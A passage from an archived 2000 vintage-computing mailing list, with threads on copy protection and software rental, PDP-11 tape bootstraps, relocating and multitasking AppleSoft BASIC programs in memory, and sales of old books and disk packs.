will simply see an increase in piracy of their product. It reminds me of software protection in the 80s. Companies would try harder and harder each year to thwart piracy with new protection schemes that would always be broken, prompting newer and strong protection schemes that would be broken, etc. The idea of copy protection ultimately failed. What the corporations are doing now is, instead of trying to protect their information (well, except for the case of DVDs), they are trying to create more laws that will presumably allow them to extract higher penalties from big time (or not so bigtime) offendors. Sure it's ominous and, really, more obnoxious than anything. But I believe strongly enough in the open software "movement" that I think in the end the current actions by the big corporations involved in this power grab of the new economic paradigm will fail, and we'll have wondered what we were worrying about. The internet is here, and it's here to stay. It has introduced the world to an entirely new construct of freedom of information. The big corporations are screwed and they know it, and right now they are just running scared. All their current efforts will have all been in vain in due time. Sellam From dpeschel at eskimo.com Tue May 16 23:23:11 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for In-Reply-To: from "Vintage Computer GAWD!" at May 16, 2000 07:52:33 PM Message-ID: <200005170423.VAA00690@eskimo.com> Sellam Ismail wrote: > On Tue, 16 May 2000, Shawn T. Rutledge wrote: > > > I think that in the long run the majority usually gets its way; and > > everyone knows it's better to own than to rent if one can afford it. > > Consumers killed that attrocity known as "DIVX". We'll probably kill any > other incantation of the same idea. > > The past few years have introduced an ominous trend towards corporations > trying to increase their ability to squeeze more residual income out of > their ownership of information. If it continues on this path, they will > simply see an increase in piracy of their product. It's not "information", it's "content". And your word "ownership" is pretty accurate -- some companies may describe themselves as "content providers", but I think they really want to be "content controllers" in many ways. Even the carriers want to be controllers (GeoCities can't just be an ISP -- they have to have custom icons in your "Favorites" menu and stupid pop-up windows.) > Sure it's ominous and, really, more obnoxious than anything. But I > believe strongly enough in the open software "movement" that I think in > the end the current actions by the big corporations involved in this power > grab of the new economic paradigm will fail, and we'll have wondered what > we were worrying about. I believe strongly in open source as well, but I wouldn't rely on it to stop the corporations. If/when it does, they will have tried a lot of alternatives by then (like getting laws passed). Even if the laws are unenforced, they would still be on the books. Better to stop them now. Open source can't do that. Did anyone mention relationships between corporations yet? Ads about the Internet sometimes emphasize that you (as a corporation) can easily set them up. Not only are they a gold mine, they often ensure that the customer has fewer alternatives and less control over information. -- Derek From foo at siconic.com Tue May 16 22:28:43 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:48 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <002601bfbeb7$04ed33d0$0201640a@colossus> Message-ID: On Mon, 15 May 2000, Earl Evans wrote: > Looks great Sellam! > > You've got roughly the same sources that I listed in part II of my article > on collecting: > > http://www.retrobits.com/col-article2.html Earl, excellent article! If I'd known you had written this before I wrote mine I don't know if I would've bothered. We touch upon pretty much the same themes, although your article complemented mine in places and gave me new ideas (thanks! :) > You also have some additional information, such as some pricing hints, > advice on haggling, etc. You included Garage Sales which I neglected, mostly because they rarely turn up anything of interest, although I did buy a complete Tandy 1000 system at a garage sale around the corner from my house one day which I needed a photo of for someone writing a book. Also, I think I'll mention Pawn Shops in a revised edition, mostly to warn people not to even bother. Anything they have will be too recent to be of any interest, and they certainly wouldn't give anyone good money for an old piece of junk computer, and thus have any for sale. Also, the stuff they sell is, in my experience, horribly over-priced, sometimes over retail! > If you'd like, once you get this primer in it's final form, I'd be happy to > post it on retrobits.com (or a link to it, if you have it on your web site). That sounds great. I'll get the revised edition finished shortly and submit it to you. I'm in the process of re-vamping the VCF website and will start to include content periodically, so perhaps I'll link to YOUR article as well :) From cmcmanis at mcmanis.com Tue May 16 23:44:52 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:48 2005 Subject: TMSCP boot for PDP-11? Message-ID: <4.3.1.2.20000516214315.02673a10@208.226.86.10> Hello all, does anyone have a bootstrap for a PDP-11 from a TMSCP tape drive? My sigma RQD11 has an MSCP bootstrap that I can enable but it doesn't boot from tape and the BDV11 only knows how to boot from DX, DY, and DL (RL0x?). --Chuck From foo at siconic.com Tue May 16 23:03:22 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:48 2005 Subject: Cool AppleSoft BASIC trick I never thought of before Message-ID: Stop me if you've heard this one before... On the Apple ][, in AppleSoft BASIC, you can set what the start address of your BASIC program will be in memory by poking it into location 103-104 ($68-$69 hex). The default is 2049 ($801): 103=1 and 104=8 ($68=1, $69=8). QUESTION: Does anyone know why the default is $801 instead of $800? I always wondered why that was. Anyway... For various pratical reasons, usually to avoid over-running the beginning of the first hi-res graphics page which began in memory at 8192 ($2000) with variable data (which was always stored just after the end of the BASIC program in memory), sometimes people would force their programs to load at 16384 ($4000, which is also the beginning of the second hi-res graphics page) or 24576 ($6000), or where ever. It occured to me tonight as I was writing just such an application--the Nerd Trivia Challenge management program for the VCF, which loads a hi-resolution character generator at $1600, which would over-run my BASIC code, which is therefore relocated to $4001--that two or more BASIC programs could reside in memory at the same time! One would simply POKE the beginning address into 103-104 and then LOAD the new program, and repeat this for as many programs as is possible with the memory available. As an experiment, I wrote two simple programs: one at $801 that simply prints "PROGRAM 1!" and then sets the start of the program to $4001 by POKEing a 64 into 104 then issues a RUN command, and another at $4001 that simply prints "PROGRAM 2!" and then sets the start of the program to $801 by POKEing an 8 into 104 and issues a RUN. I run either of the programs and I get an endlessly alternating display of "PROGRAM 1!" and "PROGRAM 2!". In other words, it works! Cool. The only problem here of course is that any variables in either program will be quashed when the alternate program is run. However, there are also pointers that point to the beginning of variable memory, and I'm sure there would be a way to preserve these pointers so that individual variables for either program stay intact between transitions. Something worth exploring just for the hack value. I never actually saw this in practice in all my years of Apple ][ hacking, and believe me I snooped through a lot of code. Has anyone ever seen this, and if so, for what purpose? I just thought of one example, which was a Beagle Brothers product that let you have two programs in each 64K bank of memory on a 128K Apple ][. It seems to me this could be mutated into a sort of practical method of multi-tasking BASIC programs. Comments? Sellam From foo at siconic.com Tue May 16 23:14:47 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for In-Reply-To: <200005170423.VAA00690@eskimo.com> Message-ID: On Tue, 16 May 2000, Derek Peschel wrote: > I believe strongly in open source as well, but I wouldn't rely on it to stop > the corporations. If/when it does, they will have tried a lot of > alternatives by then (like getting laws passed). Even if the laws are > unenforced, they would still be on the books. Better to stop them now. > Open source can't do that. My point is that I believe concepts like Open Source will make the laws moot. I believe that content will be increasingly published under "Open Source" principles and the "controlled" content will be in the minority, and not have the value that the laws currently being passed are striving to protect. It's just a trickle right now, but I hear the flood coming. I'm getting my board ready to ride that wave when it comes in, baby! :) Sellam the Prognosticator From healyzh at aracnet.com Wed May 17 00:32:46 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:48 2005 Subject: TMSCP boot for PDP-11? In-Reply-To: <4.3.1.2.20000516214315.02673a10@208.226.86.10> Message-ID: >Hello all, does anyone have a bootstrap for a PDP-11 from a TMSCP tape >drive? My sigma RQD11 has an MSCP bootstrap that I can enable but it >doesn't boot from tape and the BDV11 only knows how to boot from DX, DY, >and DL (RL0x?). > >--Chuck It's on the Sunsite (Metalab) archive in the Hardware section, IIRC. I had that problem myself until I got a newer WQESD/04 that I'd been using to bootstrap my /73. It's a pain in the neck to type in. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From ethan_dicks at yahoo.com Wed May 17 00:40:25 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:48 2005 Subject: Goings on at the RetroComputing Farm (was Re: Finding Classic Computers) Message-ID: <20000517054025.8126.qmail@web613.mail.yahoo.com> --- allisonp wrote: > >Cool! I didn't know you flew. I'm a student myself - one more solo > > Yep, been drivin my C150 '528 for the last 21 years. ;) > > If things go well it may even wander over to Ohio in the next few months. Let me know if and when; I'll give you a tour of the collection at the farm. I'm about 15-20 minutes drive from Port Columbus (CMH) where I do my training (it's been educational learning in Class C space as compared to the other nearby options - Class D at OSU/Don Scott, or at smaller, uncontrolled airports). So far, Hans Franke has been by to visit, but he was in enough hurry to get back to Pittsburgh for his flight that he hasn't seen the inside of the quonset hut yet. For the moment, stuff there is in storage mode. The items in the house in the former den are all slated for cleaning, test and repair. My next restoration goals: ongoing work on the PDP-8/e (as soon as I can find my overhead memory connectors), its TD8E + TU56, and an RK05J on some flavor of LSI-11 (since I have a last-known-to-be-working RKV11D and an RK11-C in dubious shape and no RK8E). Further down the pipe are the external 8K memory box for the working -8/L, and a complete teardown and cleaning of my PDP-8/i, the second -8 that I found back in High School. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From mikeford at socal.rr.com Wed May 17 01:23:11 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc In-Reply-To: References: <20000516184528.C5340@electron.quantum.int> Message-ID: >On Tue, 16 May 2000, Shawn T. Rutledge wrote: > >> I think that in the long run the majority usually gets its way; and >> everyone knows it's better to own than to rent if one can afford it. > >Consumers killed that attrocity known as "DIVX". We'll probably kill any >other incantation of the same idea. Taken a look at Uniform Computer Information Transactions Act (UCITA) lately? http://www.macintouch.com/ucita.html#links From pete at dunnington.u-net.com Wed May 17 02:23:17 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:48 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Vintage Computer GAWD! "Cool AppleSoft BASIC trick I never thought of before" (May 16, 21:03) References: Message-ID: <10005170823.ZM4329@indy.dunnington.u-net.com> On May 16, 21:03, Vintage Computer GAWD! wrote: > As an experiment, I wrote two simple programs: one at $801 that simply > prints "PROGRAM 1!" and then sets the start of the program to $4001 by > POKEing a 64 into 104 then issues a RUN command, and another at $4001 > that simply prints "PROGRAM 2!" and then sets the start of the > program to $801 by POKEing an 8 into 104 and issues a RUN. > > I run either of the programs and I get an endlessly alternating display of > "PROGRAM 1!" and "PROGRAM 2!". In other words, it works! Cool. > > The only problem here of course is that any variables in either program > will be quashed when the alternate program is run. However, there are > also pointers that point to the beginning of variable memory, and I'm sure > there would be a way to preserve these pointers so that individual > variables for either program stay intact between transitions. Something > worth exploring just for the hack value. I'm sure I've seen something similar, but I can't think what... it's a long time since I actually used Apple ][s. Something with a menu system for a set of disk programs, possibly. If I remember correctly, Applesoft BASIC is one of those that searches from the start of program every time it executes a GOTO or GOSUB. If I'm right, the easy way to preserve variables (and all the rest of the program state, including the GOSUB/FOR..NEXT stack) would be to POKE in the new start address and then GOTO 10 instead of RUN. If you do this, you better set LOMEM as well (but only once), or make sure the highest-loaded program is the first one RUN, so the variables start in a suitable place. -- Pete Peter Turnbull Dept. of Computer Science University of York From foo at siconic.com Wed May 17 02:16:58 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:48 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <10005170823.ZM4329@indy.dunnington.u-net.com> Message-ID: On Wed, 17 May 2000, Pete Turnbull wrote: > If I remember correctly, Applesoft BASIC is one of those that searches from > the start of program every time it executes a GOTO or GOSUB. If I'm right, > the easy way to preserve variables (and all the rest of the program state, > including the GOSUB/FOR..NEXT stack) would be to POKE in the new start > address and then GOTO 10 instead of RUN. I think you'd have to do more than this since the interpreter won't know the difference between Program A running and Program B. In other words, the varibale A$ in Programs A&B will both point to the same variable (hmmm...an interesting way to implement shared memory in BASIC!) > If you do this, you better set LOMEM as well (but only once), or make sure > the highest-loaded program is the first one RUN, so the variables start in > a suitable place. LOMEM does almost what you need: it moves the start of the variable data pointer to the address specified with the command. However, I do believe this initializes the variable space, which would not be good. I've never devled into the way BASIC variables are kept but I am pretty sure that they are searched for from the beginning of whatever LOMEM is to the end (as given, I believe, by HIMEM). LOMEM and HIMEM simply set pointers in the zero page that BASIC uses to keep track of the low and high memory locations for variable storage. So manually keeping track of these and POKEing them in for each swap should appropriately keep the variable memory for each program in memory separate and intact. I was just thinking that a sort of Multi-Tasking BASIC Operating System (MTBOS) could be developed that would take care of all this for you. Also, since the text screen on the Apple ][ can be defined by poking in the left column, right column, top row and bottom row into the appropriately zero page addresses, one can also specify a screen area that each program is allowed to run in. This could be maintained by the MTBOS. The MTBOS would basically reside somewhere in memory (a simple one could probably be made to fit in $300-$3A0 which is the common unused space where simple machine language utilities go) and can be CALLed from each program running at regular intervals to allow a swap to the next process. It would be sort of like Windows 3.0 :) (but probably faster). I think when I have a couple hours to burn one day I'm going to build a little demo of this for the hell of it. It would be a fun little exercise and might end up making a cute VCF display of some sort. From whdawson at mlynk.com Wed May 17 04:21:24 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:52:48 2005 Subject: Two LISP books available, dirt cheap. Message-ID: <000001bfbfe1$45cef0c0$a1e3dfd0@cobweb.net> Hello all, These softbound books are in very good condition. I'm asking 1.2 x shipping. Will ship USPS bookrate in the US. Here's what they are: Common LISP, The Language, Guy L. Steele Jr., Copyright 1984, Digital Press, ISBN 0-932376-41-X, DEC # EY-6706E-DP. Original price $23.00. This book is in almost new condition (never read). and Programming in Common LISP, Rodney A. Brooks M.I.T., Copyright 1985, John Wiley & Sons, ISBN 0-471-81888-7. Original price $21.95. Sold through CMU bookstore. Both books have a library stamp imprint on the title pages "Library of John Evan Bares". There are no other marks, highlightings or underlinings. Please contact me off list if you are interested in either or both of these. FCFS. I'll post to the list when they have been spoken for. Bill Dawson whdawson@mlynk.com ? From whdawson at mlynk.com Wed May 17 05:29:51 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:52:48 2005 Subject: Two LISP books available, dirt cheap. In-Reply-To: <000001bfbfe1$45cef0c0$a1e3dfd0@cobweb.net> Message-ID: <000101bfbfea$d5c56840$a1e3dfd0@cobweb.net> Both books have been spoken for. Thanks. -> Hello all, -> -> These softbound books are in very good condition. I'm asking 1.2 x -> shipping. Will ship USPS bookrate in the US. Here's what they are: -> -> Common LISP, The Language, Guy L. Steele Jr., Copyright 1984, -> Digital Press, -> ISBN 0-932376-41-X, DEC # EY-6706E-DP. Original price $23.00. -> This book is -> in almost new condition (never read). -> -> and -> -> Programming in Common LISP, Rodney A. Brooks M.I.T., Copyright 1985, John -> Wiley & Sons, ISBN 0-471-81888-7. Original price $21.95. Sold -> through CMU -> bookstore. -> -> Both books have a library stamp imprint on the title pages -> "Library of John -> Evan Bares". There are no other marks, highlightings or underlinings. -> -> Please contact me off list if you are interested in either or -> both of these. -> FCFS. I'll post to the list when they have been spoken for. -> -> Bill Dawson -> whdawson@mlynk.com -> ? -> From CLASSICCMP at trailing-edge.com Wed May 17 06:04:57 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:48 2005 Subject: TMSCP boot for PDP-11? Message-ID: <000517070457.2020c5b5@trailing-edge.com> >Hello all, does anyone have a bootstrap for a PDP-11 from a TMSCP tape >drive? Have you tried the one at http://metalab.unc.edu/pub/academic/computer-science/history/pdp-11/ in the section you get to by clicking on 'bootstraps'? > My sigma RQD11 has an MSCP bootstrap that I can enable but it >doesn't boot from tape and the BDV11 only knows how to boot from DX, DY, >and DL (RL0x?). Yeah, installing software from tape was a rather late option for Q-bus machines, which started out (marketing-wise) at the "low" end of the PDP-11 spectrum. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From at258 at osfn.org Wed May 17 06:49:42 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:52:48 2005 Subject: IBEX info? (fwd) In-Reply-To: Message-ID: The IBEX was sold in the Boston area, but made in Japan. It was a CP/M computer, a bit on the heavy side, fairly nice styling. We do have some documentation on it, but it is buried, as well as our IBEX. On Tue, 16 May 2000, Vintage Computer Festival wrote: > > Can anyone help this dude? > > > ---------- Forwarded message ---------- > Date: Tue, 16 May 2000 10:59:23 -0500 > From: Beau Reichert > To: vcf@vintage.org > Subject: IBEX info? > > Do you know where I could get info on a IBEX computer. > > Thanks > Beau > > > Sellam International Man of Intrigue and Danger > ------------------------------------------------------------------------------- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From jfoust at threedee.com Wed May 17 09:16:44 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:48 2005 Subject: Computer Value (was Re: value of RK05) Message-ID: <4.3.0.20000517090543.018bd5d0@pc> Back on May 6, I said: >RK05s? I bought five RL02 disk packs the other day for $2 each. >I see they're going for $30 on eBay. I'll use the proceeds to >fund other bad habits. Just to confound the eBay hysteria, I'll recount what happened with these RL02s. I was all excited because eBay's history showed a single RL02 went for $28 a few weeks ago. I mentioned I had these packs on this list on May 6 and no one responded. I listed one pack on eBay on May 9. I composed a nice page, sent private e-mail to likely bidders telling them of the auction. Chuck McManis missed my original post to this list, but he was the winning bidder and picked one up for $5.50. I sold the rest to him for that price, so he got five with shipping for $45. (Did I bend any eBay rule by selling him the other ones?) In another eBay story, I was the top bidder for a Leitz illuminator transformer for an old microscope I have, at $5. However, the seller wanted to charge $12 shipping. This item is two-three pounds at best. I questioned this and haven't heard from them yet. Similarly, someone sent me a note about Pascal MicroEngine schematics they're auctioning. For 50 xeroxed pages, the first bid is $9 and they want $7 shipping. No doubt some eBay sellers have discovered the old mail-order rule of thumb that the cost of goods and shipping should be covered by the "shipping and handling" charge, and that the price is just gravy. :-) BTW, I always charge "actual shipping cost". - John From xds_sigma7 at hotmail.com Wed May 17 09:25:49 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:48 2005 Subject: Sperry Univac Minicomputer Message-ID: <20000517142549.60741.qmail@hotmail.com> 5 feet tall is way too big for a Varian.. the V70 series are early 70's to at least mid 80's machines, only maybe a foot tall (the CPU is what I am speaking of, naturally). I know Univac kept making the V70's until at least 1984; they had to, due to their contract with the company my dad worked for at the time, Auto-trol Technology. They integrated V70's (and 620 series machines before that) into their CAD systems, and in some of the old stock prospectuses(prospecti?) we have at home, it says that Sperry Univac had to give Auto-Trol a minimum of 6 months notice before stopping production of the V70 series. FWIW, was essentially Apollo Computer's first customer, and Apollo's eventually became the basis for Auto-Trol's CAD systems. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From xds_sigma7 at hotmail.com Wed May 17 09:31:45 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:49 2005 Subject: SDS parts.. info please Message-ID: <20000517143145.35706.qmail@hotmail.com> OK, Yesterday at the scrap yard, I found a whole lot of 60's/70's Burroughs, Honeywell, NCR, and Univac boards... I'm definetly going to get the Honeywell boards since they're from a 316 or 516 (approx. 50+ boards), but I was wondering if anyone had info on what the SDS boards came out of? And no, I'm not asking who SDS was or something like that, I mean if I was to get the boards does anyone have the necessary info to tell what machine they were used in. The boards are copyrighted 1965 and 1966, so I was thinking maybe they were from a 940? They're not very big boards, something like 4 inches by 3 inches, approx of course. Bigger than H316 boards, which isn't saying much, heh. I'm not planning on getting any of the NCR or Burroughs stuff, but I am going to write down all the part numbers, maybe get the remants of the one NCR core stack I found, since its already ruined and then I could have a nice open one to display... dated 1967. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From ethan_dicks at yahoo.com Wed May 17 10:33:06 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before Message-ID: <20000517153306.18673.qmail@web615.mail.yahoo.com> --- Vintage Computer GAWD! wrote: > > Stop me if you've heard this one before... STOP! :-) > On the Apple ][, in AppleSoft BASIC, you can set what the start address > of your BASIC program will be in memory by poking it into location 103-104 > ($68-$69 hex). There are similar locations for the same pointers in all versions of M$ BASIC for PETs, etc. > The default is 2049 ($801): 103=1 and 104=8 ($68=1, $69=8). Typical. The PET uses $0401, and the C-64 uses $0801 (because the display memory is at $0400 by default on a C-64) > QUESTION: Does anyone know why the default is $801 instead of $800? I > always wondered why that was. Anyway... I'm not sure of the exact reason, but for PETBASIC, $0400 (or $0800) must contain a null byte. I suspect the same for AppleSoft. > It occured to me tonight as I was writing just such an application--the > Nerd Trivia Challenge management program for the VCF, which loads a > hi-resolution character generator at $1600, which would over-run my BASIC > code, which is therefore relocated to $4001--that two or more BASIC > programs could reside in memory at the same time! One would simply POKE > the beginning address into 103-104 and then LOAD the new program, and > repeat this for as many programs as is possible with the memory available. There was a machine language program for the PET called "QuadraPET" published way back when (I have a copy on a 1541-disk-image file), that moved all the BASIC pointers around in zero page to create four 8K virtual PETs on a 32K PET. The author suggested that in a family setting, each user could have their own space and not clobber other people's work. I'm sure it would be trivial to adapt to AppleSoft, presuming there's around 100 bytes of protected memory to stuff it into - the trick on the PET was to use the second cassette buffer since so few users ever had two cassette drives. It was a great learning experience to have to fit useful programs into 192 bytes. > The only problem here of course is that any variables in either program > will be quashed when the alternate program is run. However, there are > also pointers that point to the beginning of variable memory, and I'm sure > there would be a way to preserve these pointers so that individual > variables for either program stay intact between transitions. Something > worth exploring just for the hack value. cf. QuadraPET; I can send you a copy if you'd like to disassemble it. ISTR it was published in COMPUTE! if you have a collection of them from the 1978- 1981 timeframe. I'm fairly sure that the source is printed in the magazine. OTOH, I am not familiar with this sort of trick being done for AppleSoft, probably because back in those days, people moved to M/L for the Apple very early on because of the demands for speed on graphical programs. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From mgregory at vantageresearch.com Wed May 17 10:49:36 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:49 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <001601bfc017$81217ea0$0200a8c0@marvin> -----Original Message----- From: Vintage Computer GAWD! To: classiccmp@classiccmp.org Date: Tuesday, May 16, 2000 10:37 PM Subject: Re: Finding Vintage Computers - A Primer > >Also, I think I'll mention Pawn Shops in a revised edition, mostly to warn >people not to even bother. Anything they have will be too recent to be of >any interest, and they certainly wouldn't give anyone good money for an >old piece of junk computer, and thus have any for sale. Also, the stuff >they sell is, in my experience, horribly over-priced, sometimes over >retail! > In my area, there's a related type of store that is worth a look. It's a chain called "Cash Converters", where they buy your unwanted goods (at substantially less than the estimated value) and then sell them in a retail environment. Like a permanent garage sale under one roof. Unlike a pawn shop, you can't reclaim your item for what they gave you for it. They occasionally have classic comp stuff; I've found TRS-80s of various kinds, Model 100s, PS/2s, Newtons and a lot of older software. The prices are initially set high, but if an item doesn't sell, they progressively reduce the price until it does. IIRC, the concept originated in Australia, and there are also stores in the States. Regards, Mark. From korpela at albert.ssl.berkeley.edu Wed May 17 10:55:04 2000 From: korpela at albert.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: from Vintage Computer GAWD! at "May 16, 2000 09:03:22 pm" Message-ID: <200005171555.IAA08805@islay.ssl.berkeley.edu> > > On the Apple ][, in AppleSoft BASIC, you can set what the start address > of your BASIC program will be in memory by poking it into location 103-104 > ($68-$69 hex). > > The only problem here of course is that any variables in either program > will be quashed when the alternate program is run. However, there are > also pointers that point to the beginning of variable memory, and I'm sure > there would be a way to preserve these pointers so that individual > variables for either program stay intact between transitions. Something > worth exploring just for the hack value. I wrote something like this to switch between two BASIC programs using the & command back around '83-'84. I think the key was to also set the himem pointer (the highest location available to basic variables) along with the lomem pointer. In that case each program gets separate variable memory. I remember trying to cooperatively multitask running programs by saving and restoring some other zero page locations. I think there's a pointer to the next basic token when running and some other state information. I'd need to look at a zero page map. I had some parital sucess but I don't think I ever got it fully working. It should be possible, though. Maybe I should pull out my GS and see if I can resurect the code. Far too many of my floppies from that era are unreadable though. I went through a "dark decade" without a ][ compatible to remaster them on. :( > It seems to me this could be mutated into a sort of practical method of > multi-tasking BASIC programs. It's fun for the hack value. The program switcher was useful as it basically allowed running another program without blitzing the code you were working on. Kind of a BASIC TSR. Eric From xds_sigma7 at hotmail.com Wed May 17 11:48:52 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:49 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) Message-ID: <20000517164852.42348.qmail@hotmail.com> Umm well to put it mildly, Ellison is a freaking weirdo... speaking of which, has the PC been replaced yet, Mr. Ellison? Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From mranalog at home.com Wed May 17 12:01:02 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before Message-ID: <3922D04E.1E9CC9C8@home.com> Sam said: > On the Apple ][, in AppleSoft BASIC, you can set what the start address > of your BASIC program will be in memory by poking it into location 103-104 > ($68-$69 hex). > The default is 2049 ($801): 103=1 and 104=8 ($68=1, $69=8). > QUESTION: Does anyone know why the default is $801 instead of $800? I > always wondered why that was. Anyway... _MANY_ BASICs have the same format for storing a program line. The first two bytes is the address "link" to the next line of the program. The second two bytes is the "line number" for this line of the program. The line number is followed by the text of the program line, with all of the BASIC keywords tokenized, and terminated with a zero. The next address location after the zero is the address pointed to by the link of the previous line and it's also the beginning of the next line of the program. At the end of a BASIC program, the zero at the end of the last line is followed by two zeros meaning that the next "link" is zero. When BASIC is initialized, (and the start of BASIC is normally $801), the OS usually stores zeros at $800,$801,and $802, and set the beginning of BASIC program space at $801, indicating that $800 is the end of the previous line and $801,$802 is the end of the program. So the BASIC program space DOES start at $800, but the beginning of the BASIC program is $801. _I_believe_ the need for a zero indicating the end of the previous line at the beginning of BASIC program space is probably a hold over from some ANCIENT incarnation of BASIC and is not really necessary, but I have not tried this with different kinds of BASIC. There should be no problem with setting the beginning of the BASIC program area to say.... $4057 before loading your program. As the program is loaded, the links are changed to reflect the new program location. > I run either of the programs and I get an endlessly alternating display of > "PROGRAM 1!" and "PROGRAM 2!". In other words, it works! Cool. BASIC also keeps a pointer to the current line being executed. Instead of "running" each program, try having the first program (at the end) set the current line pointer to $4001 and vicey versy. > It seems to me this could be mutated into a sort of practical method of > multi-tasking BASIC programs. There are quite a few zero page locations you need to save and restore, but multi-tasking BASIC is very possible. You could also write a BASIC program that built it's own custom subroutines in a different memory area on the fly, execute them, and return to itself. --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From sipke at wxs.nl Wed May 17 13:37:39 2000 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 18:52:49 2005 Subject: Is this for real -- a new C64/128 References: <005a01bfbe26$88da3620$8b893cd8@compaq> Message-ID: <00a301bfc02e$fb5f0400$030101ac@boll.casema.net> The last I heard of was Escom BV but they went out of bussiness about 4 years ago. ----- Original Message ----- From: Owen Robertson To: Sent: Monday, May 15, 2000 6:32 AM Subject: Re: Is this for real -- a new C64/128 > Who owns the Commodore Trademark now? > From foo at siconic.com Wed May 17 11:43:27 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:49 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <20000517153306.18673.qmail@web615.mail.yahoo.com> Message-ID: On Wed, 17 May 2000, Ethan Dicks wrote: > > The default is 2049 ($801): 103=1 and 104=8 ($68=1, $69=8). > > Typical. The PET uses $0401, and the C-64 uses $0801 (because the display > memory is at $0400 by default on a C-64) Same with the Apple (first text display is at $400-$7FF, and actually, the SECOND text display is from $800-$BFF, though it was rarely used, but I have seen a couple programs that did use it in various ways). > > QUESTION: Does anyone know why the default is $801 instead of $800? I > > always wondered why that was. Anyway... > > I'm not sure of the exact reason, but for PETBASIC, $0400 (or $0800) must > contain a null byte. I suspect the same for AppleSoft. Yes, same thing with the Apple. If there is anything but a null at $800 (or really the first byte just before the beginning of your BASIC code) you get, I believe, an UNDEFINED STATEMENT error or some such nonsense. Why? > > It occured to me tonight as I was writing just such an application--the > > Nerd Trivia Challenge management program for the VCF, which loads a > > hi-resolution character generator at $1600, which would over-run my BASIC > > code, which is therefore relocated to $4001--that two or more BASIC Insignificant correction: actually, it's the VCF registration program. > There was a machine language program for the PET called "QuadraPET" > published way back when (I have a copy on a 1541-disk-image file), > that moved all the BASIC pointers around in zero page to create four > 8K virtual PETs on a 32K PET. The author suggested that in a family > setting, each user could have their own space and not clobber other > people's work. I'm sure it would be trivial to adapt to AppleSoft, As long as the family idiot didn't turn the power off of course. And also as long as the other family members didn't over-run the other's memory space. Can you imagine how dysfunctional such a nerd family could be? Son: Damn it, Dad, your sorting algorithm clobbered my variables again! Dad: It's not my fault! I told you not to invoke the graphics mode you 